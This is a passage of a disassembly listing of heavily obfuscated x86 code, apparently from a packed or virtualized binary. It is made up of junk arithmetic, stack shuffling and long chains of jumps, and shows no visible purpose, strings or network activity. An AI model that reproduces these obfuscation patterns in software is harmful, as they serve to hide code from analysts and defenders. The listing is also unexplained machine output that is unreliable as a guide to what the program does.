bl pop ebx mov dl, ah pop eax pop cx xor dl, 57h not dl sub dl, 0C0h or bh, dl pop edx jmp loc_58E41C ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C3DE: ; CODE XREF: sub_594228-5E7Bj push ecx push 36D9h mov [esp+6+var_8+2], esi jmp loc_5930A1 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58C3EC: ; CODE XREF: sub_5BB696-25064j push 348E7520h jmp loc_58D630 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58C3F6: ; CODE XREF: sub_59841F-48CDj shl ecx, 4 jmp loc_5906C3 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58C3FE: ; CODE XREF: sub_591A46+Ej ; sub_59587A-30D7j push 298Eh mov [esp+6+var_8+2], edi mov edi, 69B91BE0h add edi, 26FC5E57h shr edi, 1 jmp loc_593DE7 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58C418: ; CODE XREF: sub_591435+6B25j add esp, 4 jmp loc_590C75 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58C420: ; CODE XREF: sdfs____:0058C719j ; sdfs____:0059846Cj jmp loc_5947AD ; --------------------------------------------------------------------------- loc_58C425: ; CODE XREF: sdfs____:00597A3Dj push ecx mov ch, dh mov bl, ch jmp loc_58ECED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58C42F: ; CODE XREF: sub_5987BC-781Aj pop edi xor eax, [esp-4+arg_0] xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] jmp loc_5955B1 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58C43E: ; CODE XREF: sdfs____:00590D40j ; sdfs____:00597C78j push edi push edx mov edx, 1BCA76E5h push edi mov edi, 6DB2977h add edx, edi pop edi shr edx, 1 dec edx dec edx xor edx, 351DACCBh mov edi, edx pop edx jmp loc_596487 ; --------------------------------------------------------------------------- loc_58C460: ; CODE XREF: sdfs____:005966A6j push edi mov edi, 4 add ecx, edi push dword ptr [esp] pop edi add esp, 4 push edx jmp loc_58F289 ; --------------------------------------------------------------------------- loc_58C475: ; CODE XREF: sdfs____:00590554j pop ecx sub eax, edx push dword ptr [esp] pop edx add esp, 4 jmp loc_58E058 ; --------------------------------------------------------------------------- loc_58C484: ; CODE XREF: sdfs____:00593228j sub eax, 449F5F75h sub eax, 53A4692Bh mov edx, [esp] add esp, 4 push esi mov esi, 5B1352DBh push 4381h mov [esp], esi push ecx jmp loc_590083 ; --------------------------------------------------------------------------- loc_58C4AB: ; CODE XREF: sdfs____:0059649Cj pop edi add ecx, eax sub ecx, 57BC6742h jmp loc_5972FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_58C4B9: ; CODE XREF: sub_59587A-DE2j sub eax, 725E46A3h push esi mov esi, 3B62B0Eh sub eax, esi pop esi pop edx push esi mov esi, 248079C7h add edx, esi jmp loc_59170D ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_58C4D5: ; CODE XREF: sdfs____:00591C3Dj ; sdfs____:0059748Ej add ebx, 0DCEAAA9Fh jmp loc_594919 ; --------------------------------------------------------------------------- loc_58C4E0: ; CODE XREF: sdfs____:0059526Bj sub esp, 4 jmp loc_59018F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58C4EB: ; CODE XREF: sdfs____:0058E871j ; sub_591370+23BBj pop edi inc ebp add ebp, 6B184E0Eh xor ebp, 65E21C1Eh sub esi, ebp mov ebp, [esp-4+arg_0] add esp, 4 xor esi, 602DEE39h add ecx, esi pop esi sub ecx, 4876269h shr ecx, 5 push edx mov edx, 59E87C41h dec edx xor edx, 0EAECCF44h jmp loc_58FFE7 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58C528: ; CODE XREF: sdfs____:00592AF6j sub esp, 4 mov [esp], ecx mov ecx, 74852B1Ch jmp loc_59025F ; --------------------------------------------------------------------------- loc_58C53B: ; CODE XREF: sdfs____:00592EE3j pop ebx add eax, ecx pop ecx sub eax, 1464A3Bh jmp loc_59162E ; --------------------------------------------------------------------------- loc_58C549: ; CODE XREF: sdfs____:0058F65Ej pop dword ptr [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58C558: ; CODE XREF: sdfs____:00593EBDj push eax push edx mov edx, 78721F86h jmp loc_590E3F ; --------------------------------------------------------------------------- loc_58C564: ; CODE XREF: sdfs____:0058E1E5j pop edx sub ebp, 0FFFFFFFFh sub ebp, 377C16B6h push ecx mov ecx, 23395365h jmp loc_59129D ; --------------------------------------------------------------------------- loc_58C579: ; CODE XREF: sdfs____:00595F62j add eax, 1DA944A6h push ebx mov ebx, 1CA79C1h add ebx, 57C92428h xor ebx, 7A2B7D52h jmp loc_5957C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C595: ; CODE XREF: sub_594228-4BEDj push eax mov eax, esp push edx push edi mov edi, 1B922D22h add edi, 1E6C7B02h jo loc_592FBB inc edi js loc_58F30E push edx jmp loc_58FBF1 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_58C5B8: ; CODE XREF: sub_59369D+169Ej pop ebx pop ebp jmp loc_5921AF ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- loc_58C5BF: ; CODE XREF: sdfs____:00594421j pop ebx jmp loc_595BA1 ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp add esi, 4 push 321h mov [esp], edi push edx mov edx, 2172250Dh mov edi, 0DE8DDAF5h push eax mov eax, 479D77C8h add edi, eax pop eax jmp loc_58C2FD ; --------------------------------------------------------------------------- loc_58C5F3: ; CODE XREF: sdfs____:loc_598DDEj not edi shr edi, 3 jp loc_597835 jmp loc_597088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58C603: ; CODE XREF: sub_5987BC-1F17j mov esi, eax pop eax sub esi, 0FD6BC6C9h not esi jmp loc_59897C ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58C613: ; CODE XREF: sub_59214E-4631j not edx inc edx xor edx, 8189BB91h jmp loc_5938DB ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_58C621: ; CODE XREF: sub_598A21-404Dj mov ecx, [esp-4+arg_0] jmp loc_593F82 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58C629: ; CODE XREF: sub_5962EB-853Ej jmp loc_59252F ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58C62E: ; CODE XREF: sub_59841F:loc_59792Dj xor edi, 9441CAA7h mov esi, edi pop edi jmp sub_591AD9 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_58C63C: ; CODE XREF: sdfs____:00592E88j pop ecx shl dh, 8 shl dh, 1 xor dh, 7 add al, dh pop edx jmp loc_59546F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5976B0 loc_58C64D: ; CODE XREF: sub_5976B0+1Dj xchg ebp, [esp+0] mov esp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_5976B0 ; --------------------------------------------------------------------------- jmp loc_58EABF ; --------------------------------------------------------------------------- loc_58C659: ; CODE XREF: sdfs____:0059302Bj push ebp jmp loc_59029B ; --------------------------------------------------------------------------- loc_58C65F: ; CODE XREF: sdfs____:0058F992j mov esi, 21776E33h push edi mov edi, 65CB7378h shr edi, 2 add edi, 7BD3942h xor esi, edi pop edi add edx, 30865FA3h add edx, esi jmp loc_58C09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58C683: ; CODE XREF: sub_591370+6CAAj sub al, 31h add ch, al jmp loc_5963B6 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58C68C: ; CODE XREF: sdfs____:00598057j neg esi jmp loc_598A58 ; --------------------------------------------------------------------------- loc_58C693: ; CODE XREF: sdfs____:0058CED2j push 397149E5h pop esi xor esi, 507353CEh and esi, 6A041907h neg esi xor esi, 6CC15618h mov eax, esi pop esi jmp loc_58DFEB ; --------------------------------------------------------------------------- loc_58C6B5: ; CODE XREF: sdfs____:00596C9Dj jmp loc_58D4CA ; --------------------------------------------------------------------------- loc_58C6BA: ; CODE XREF: sdfs____:0058EA7Cj mov ebp, 48517C5Dh add eax, 23E36FCh add eax, 6A4468D4h sub eax, ebp sub eax, 6A4468D4h push edi push 24h jmp loc_596375 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_58C6DB: ; CODE XREF: sub_59576E-3F6Cj mov ax, di mov edi, [esp+0] add esp, 4 sub bx, 3ADBh sub bx, ax add bx, 3ADBh mov ax, word ptr [esp-4+arg_0] jmp loc_590E32 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_58C6FD: ; CODE XREF: sdfs____:005949BDj mov [esp], esi jmp loc_58E718 ; --------------------------------------------------------------------------- loc_58C705: ; CODE XREF: sdfs____:0058F01Ej xor dl, 8Dh add dl, 0CDh ja loc_59209F not dl jmp loc_596A59 ; --------------------------------------------------------------------------- push ebx jmp loc_58C420 ; =============== S U B R O U T I N E ======================================= sub_58C71E proc near ; CODE XREF: sdfs____:loc_58DFE6j ; sub_591370-28ABj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00590EC5 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00597234 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597F9C SIZE 00000016 BYTES sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax sub esp, 4 jmp loc_597234 sub_58C71E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58C734: ; CODE XREF: sub_59841F+6j shr ebx, 6 neg ebx or ebx, 28954C10h jmp loc_590631 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58C744: ; CODE XREF: sub_5987BC-43D8j sub edi, 1F1084D7h add ebp, edi mov edi, [esp-8+arg_4] jmp loc_595643 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C754: ; CODE XREF: sub_594228-272Dj add eax, 4 xor eax, [esp+16h+var_18+2] xor [esp+16h+var_18+2], eax xor eax, [esp+16h+var_18+2] mov esp, [esp+16h+var_18+2] push [esp+16h+var_18+2] push [esp+1Ah+var_1C+2] pop eax push 649Fh jmp loc_58C900 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592F43 loc_58C774: ; CODE XREF: sub_592F43+993j mov [esp+0], ecx mov ecx, 744C6905h jmp sub_58FA0A ; END OF FUNCTION CHUNK FOR sub_592F43 ; --------------------------------------------------------------------------- loc_58C781: ; CODE XREF: sdfs____:00590521j jmp loc_5948F1 ; --------------------------------------------------------------------------- loc_58C786: ; CODE XREF: sdfs____:00596CDFj xor ebx, 56504083h xor ebx, 4EBE9EEEh add ebp, ebx mov ebx, [esp] add esp, 4 push ebx mov ebx, 179D79A0h add ebx, 428504B5h dec ebx sub ebx, 0FFFFFFFFh dec ebx neg ebx jmp loc_58BED7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596D34 loc_58C7B2: ; CODE XREF: sub_596D34+3j mov [esp+0], ecx jmp loc_5968F8 ; END OF FUNCTION CHUNK FOR sub_596D34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58C7BA: ; CODE XREF: sub_5941BD-435Bj shl esi, 3 or esi, 5E3B5D4Ah inc esi sub esi, 0AA70C90h push edx jmp loc_58CEF0 ; --------------------------------------------------------------------------- loc_58C7D0: ; CODE XREF: sub_5941BD-7F36j xor eax, 36A96051h jmp loc_598B36 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58C7DA: ; CODE XREF: sub_591435-CF5j mov cx, word ptr [esp+6+var_8+2] add esp, 2 push [esp+2+var_4+2] pop eax add esp, 4 movzx eax, al push dword ptr [edi+eax*4] jmp loc_58C9C2 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58C7F6: ; CODE XREF: sub_5941BD-11DAj inc ebx jmp loc_5910CE ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58C7FC: ; CODE XREF: sdfs____:0058FA3Aj sub esp, 4 mov [esp], edx mov edx, 160D18EAh sub esp, 4 mov [esp], eax mov eax, 682F6FF2h shl eax, 8 not eax jmp loc_59027C ; --------------------------------------------------------------------------- loc_58C81F: ; CODE XREF: sdfs____:00596198j mov edi, 3D81796Bh sub edi, 0FA7A33BDh sub ecx, edi jmp loc_58EA0B ; --------------------------------------------------------------------------- loc_58C831: ; CODE XREF: sdfs____:00596312j push 84Eh jmp loc_59578D ; --------------------------------------------------------------------------- loc_58C83B: ; CODE XREF: sdfs____:0059328Cj mov ebp, 0D452BB0h jmp loc_595DDF ; --------------------------------------------------------------------------- loc_58C845: ; CODE XREF: sdfs____:0059174Fj push edx jmp loc_591B31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_58C84B: ; CODE XREF: sdfs____:loc_58C31Cj ; sub_5985AE-5F6Dj xor edi, 5C0056FCh jg loc_591FE4 xor edi, 7DBB6A95h mov ebp, edi or al, 77h pop esi loc_58C862: ; CODE XREF: sdfs____:005967BFj jg loc_591857 sub eax, 1B8C5529h sub ebx, eax pop eax add ebx, eax pop esp ; END OF FUNCTION CHUNK FOR sub_5985AE ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_58C873: ; CODE XREF: sub_5BB696-26DB7j xor ecx, 4A1C71DDh mov edx, ecx pop ecx or edx, 79692F42h dec edx xchg edi, edx xchg ebx, edi not ebx jmp loc_5949FF ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_58C88E: ; CODE XREF: sdfs____:00596185j add edi, esi jmp loc_595EA3 ; --------------------------------------------------------------------------- loc_58C895: ; CODE XREF: sdfs____:loc_597438j jmp loc_59759E ; --------------------------------------------------------------------------- push 731Bh mov [esp], edx sub esp, 4 mov [esp], eax push 4130h mov [esp], ebx push edi mov edi, 3F4B31F8h mov ebx, edi jmp loc_58DD24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58C8C0: ; CODE XREF: sub_591435-2C2j pop ebp xor ebp, 380274B2h add edi, ebp pop ebp add edi, 2 sub esp, 4 mov [esp+0Eh+var_10+2], edi push [esp+0Eh+var_C+2] pop edi jmp loc_58F53B ; --------------------------------------------------------------------------- loc_58C8E0: ; CODE XREF: sub_591435+53C6j pop eax add eax, 4 add eax, 4 jmp loc_596C33 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58C8EE: ; CODE XREF: sdfs____:005976D8j add esi, ebp mov ebp, [esp] jmp loc_597B21 ; --------------------------------------------------------------------------- loc_58C8F8: ; CODE XREF: sdfs____:00590AF7j push dword ptr [esp] jmp loc_593464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58C900: ; CODE XREF: sub_594228-7AB9j mov [esp+1Eh+var_20+2], edx mov edx, esp push eax mov eax, 259A0493h inc eax shr eax, 3 push ebx mov ebx, 33606693h sub ebx, 25480985h and eax, ebx pop ebx or eax, 587D76E0h sub eax, 5C7D76DEh sub edx, 626233DCh jmp loc_58D31A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_58C933: ; CODE XREF: sdfs____:00597DDCj dec ecx jmp loc_591642 ; --------------------------------------------------------------------------- loc_58C939: ; CODE XREF: sdfs____:00594ACDj push 79A6h mov [esp], esi push 6F8Ch mov [esp], edx mov edx, 1 push edx mov esi, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_591047 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58C963: ; CODE XREF: sub_5917C0+42BEj pop edi add esi, 1 push 0A42h mov [esp-4+arg_0], edi mov edi, 12126D97h sub esi, edi pop edi jmp loc_597685 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58C97C: ; CODE XREF: sdfs____:00593E26j pop eax push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_595EA9 ; --------------------------------------------------------------------------- loc_58C997: ; CODE XREF: sdfs____:0059180Fj xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push esi mov esi, esp push edi mov edi, 27991D8Ah push ebx jmp loc_591550 ; --------------------------------------------------------------------------- loc_58C9B2: ; CODE XREF: sdfs____:0058C1C2j add esp, 4 jmp loc_58EFB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_58C9BA: ; CODE XREF: sub_591435+D75j xchg ebx, [esp+10h+var_10] jmp loc_5908AB ; --------------------------------------------------------------------------- loc_58C9C2: ; CODE XREF: sub_591435-4C44j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_58C9C7: ; CODE XREF: sdfs____:00598DCDj pop ecx sub al, bl add al, 0FAh pop ebx add al, 0D5h add al, bl sub al, 0D5h push edx mov dh, 0C8h and dh, 0ECh push ecx jmp loc_58BFB0 ; --------------------------------------------------------------------------- loc_58C9DF: ; CODE XREF: sdfs____:0058F340j mov ecx, 0B768F6F9h jmp loc_592222 ; --------------------------------------------------------------------------- loc_58C9E9: ; CODE XREF: sdfs____:00596039j xor al, bl pop ebx push 2E52h mov [esp], ebx jmp loc_58CD06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58C9F9: ; CODE XREF: sub_5941BD-316j mov edi, 62B40AB7h not edi add edi, 62232370h inc edi sub esp, 4 mov [esp+14h+var_14], ebp mov ebp, 7F624283h push edx mov edx, 6D405330h add edx, 605F4E71h jmp loc_58D09E ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58CA26: ; CODE XREF: sub_591370-40BCj mov ecx, 544DFCE8h add esi, 2DD27154h add esi, 781472F6h jmp loc_58CD1B ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_58CA3C: ; CODE XREF: sub_59214E-4622j ; sdfs____:00598A5Aj xor esi, 5D46F1E0h jmp loc_58D333 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_58CA47: ; CODE XREF: sdfs____:0058BC83j pop eax xor ecx, 66474E6Ch shl ecx, 8 jmp loc_597BEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_58CA56: ; CODE XREF: sub_58BAD7+8FD8j pop ecx mov ebp, [esp+0] jmp loc_590947 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_58CA5F: ; CODE XREF: sub_5917C0+3A13j jno loc_596637 jmp loc_596BD3 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_58CA6A: ; CODE XREF: sdfs____:0058E3D2j add eax, ebx add eax, 57634C12h push ecx sub esp, 4 jmp loc_58F361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58CA7A: ; CODE XREF: sub_591370-356Aj push ecx mov ecx, 0E103161Eh jmp loc_597A27 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_58CA85: ; CODE XREF: sdfs____:0059001Aj add ebp, edi sub ebp, 3917457Ah pop edi xor ebp, [esp] xor [esp], ebp jmp loc_58FBB5 ; --------------------------------------------------------------------------- loc_58CA99: ; CODE XREF: sdfs____:0058C30Bj sub edi, 479D77C8h push dword ptr [esp] pop edx add esp, 4 add esi, edi mov edi, [esp] jmp loc_598363 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_5959D4 ; --------------------------------------------------------------------------- loc_58CAC6: ; CODE XREF: sdfs____:00591847j pop esi sub ebx, edi pop edi xchg ebx, [esp] pop esp mov [esp], dx push ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_58CADA: ; CODE XREF: sdfs____:00595B32j mov ecx, [esp] add esp, 4 sub dl, 16h not dl sub dl, 0FFh push 0 sub [esp], dl mov dl, [esp] push ebp jmp loc_58EF8E ; --------------------------------------------------------------------------- loc_58CAF9: ; CODE XREF: sdfs____:00591E03j pop ecx pop dword ptr [esp] pop esp mov [esp], edi push esp jmp loc_596C78 ; --------------------------------------------------------------------------- loc_58CB07: ; CODE XREF: sdfs____:00597E76j add al, dl jmp loc_5942D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58CB0E: ; CODE XREF: sub_5962EB-7D1Ej and esi, 0B6A6153h jmp loc_58CC4B ; --------------------------------------------------------------------------- loc_58CB19: ; CODE XREF: sub_5962EB+1933j push eax jmp loc_59566E ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_58CB1F: ; CODE XREF: sub_596F8A-6A87j push 59E0h mov [esp+8+var_8], ebp sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 200000h mov ebp, eax push [esp+0Ch+var_C] pop eax push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 sub esp, 4 jmp loc_597B60 ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- loc_58CB52: ; CODE XREF: sdfs____:0058D597j pop esp jmp loc_59594B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58CB58: ; CODE XREF: sub_594228+3827j add edi, edx sub edi, 106C412Dh push [esp+22h+var_24+2] pop edx add esp, 4 xchg edi, [esp+1Eh+var_20+2] mov esp, [esp+1Eh+var_20+2] jmp loc_591F72 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58CB72: ; CODE XREF: sub_5987BC-5E62j xchg eax, edi jmp loc_58E24D ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_58CB78: ; CODE XREF: sdfs____:loc_5928DBj xor ecx, 28B8E3A3h jmp loc_5948AB ; --------------------------------------------------------------------------- loc_58CB83: ; CODE XREF: sdfs____:00594871j add esp, 4 push edx push edi mov edi, 58F96EE2h push ebx mov ebx, edi mov edx, ebx pop ebx pop edi not edx sub edx, 7AB51284h dec edx shr edx, 4 sub edx, 2C517E5h add ebx, 26A2396h add ebx, edx jmp loc_5926CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E01A loc_58CBB3: ; CODE XREF: sub_58E01A+20j xchg ebp, ecx push 3970h mov [esp+4+var_4], edi jmp sub_596D34 ; END OF FUNCTION CHUNK FOR sub_58E01A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_58CBC2: ; CODE XREF: sub_58EB23-1AD2j push [esp-0Ch+arg_4] pop ebp jmp loc_591C2C ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_58CBCB: ; CODE XREF: sdfs____:0058D4CBj add [esp+4], eax pop eax mov ebx, [esp] add esp, 4 jmp loc_591707 ; --------------------------------------------------------------------------- loc_58CBDB: ; CODE XREF: sdfs____:00594CB8j mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp push 70F8h jmp loc_590D9E ; --------------------------------------------------------------------------- loc_58CBF1: ; CODE XREF: sdfs____:0058E38Bj add eax, 7CE265FAh add eax, 533414AAh jmp loc_58F768 ; --------------------------------------------------------------------------- loc_58CC00: ; CODE XREF: sdfs____:00594131j xor esi, 3D1F0962h not esi sub esi, 0ACF439A1h push esi pop edx pop esi jmp loc_596879 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_58CC16: ; CODE XREF: sub_595678-2B19j push esi push esp pop esi push ecx mov ecx, 41AF55F8h shr ecx, 2 xor ecx, 2FA230D8h jmp loc_595D4B ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58CC2D: ; CODE XREF: sub_59841F-74C0j ; sdfs____:0059218Ej add ebp, 2938531Ch sub ebx, ebp jmp loc_598A48 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596F8A loc_58CC3A: ; CODE XREF: sub_596F8A-77A5j add edi, 4 xchg edi, [esp+10h+var_10] pop esp pop ebp push edx jmp loc_5904F8 ; END OF FUNCTION CHUNK FOR sub_596F8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58CC4B: ; CODE XREF: sub_5962EB-97D7j xor esi, 2404004h add ecx, esi pop esi push esi mov esi, 5EDF2CCCh xor esi, 678D7DB1h xor esi, 39525179h sub ecx, esi pop esi xor ecx, [esp-8+arg_4] xor [esp-8+arg_4], ecx jmp loc_595C79 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_58CC74: ; CODE XREF: sub_5987BC-A958j js loc_592D9E jmp loc_593CCC ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- pop esp add bl, 0CBh push ecx mov ch, 0F4h mov ch, cl ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58CC88: ; CODE XREF: sub_5941BD+32B6j neg ebx push ecx mov ecx, 37E3508Fh or ebx, ecx jmp loc_592FE2 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_58CC97: ; CODE XREF: sdfs____:00593122j sub bl, dl pop edx jmp loc_59220F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BDAA loc_58CC9F: ; CODE XREF: sub_58BDAA+C01Aj push 1 push [esp+4+var_4] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] pop esp and ecx, ebp push [esp+4+var_4] jmp loc_58E351 ; END OF FUNCTION CHUNK FOR sub_58BDAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_58CCC2: ; CODE XREF: sub_5962EB-430Cj add edx, 0E92BB694h add ebp, edx pop edx add ebp, 4 sub esp, 4 mov [esp-8+arg_4], ebp push [esp-8+arg_8] pop ebp pop [esp-8+arg_4] pop esp shr ecx, 0 or eax, eax jz sub_58D9A7 push 5CE4h mov [esp-0Ch+arg_8], esi mov esi, ebx mov eax, esi push [esp-0Ch+arg_8] pop esi jmp loc_58E0E8 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_58CD00: ; CODE XREF: sdfs____:0059312Cj ; sdfs____:0059827Fj push esi jmp loc_596F30 ; --------------------------------------------------------------------------- loc_58CD06: ; CODE XREF: sdfs____:0058C9F4j push ecx mov ch, 47h mov bh, 48h xor bh, ch mov ecx, [esp] add esp, 4 jmp loc_596385 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_58CD1B: ; CODE XREF: sub_591370-4939j sub esi, ecx sub esi, 781472F6h sub esi, 2DD27154h pop ecx sub eax, esi push [esp-8+arg_4] push [esp-4+arg_0] pop esi add esp, 4 add esp, 4 jmp loc_591448 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_58CD3E: ; CODE XREF: sub_59841F-9B66j xor edi, 9441CAA7h mov esi, edi pop edi add ebx, esi pop esi push dword ptr [eax] jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_58CD51: ; CODE XREF: sub_594228-39D2j xor ecx, 5097645Bh jmp loc_597C9C ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_58CD5C: 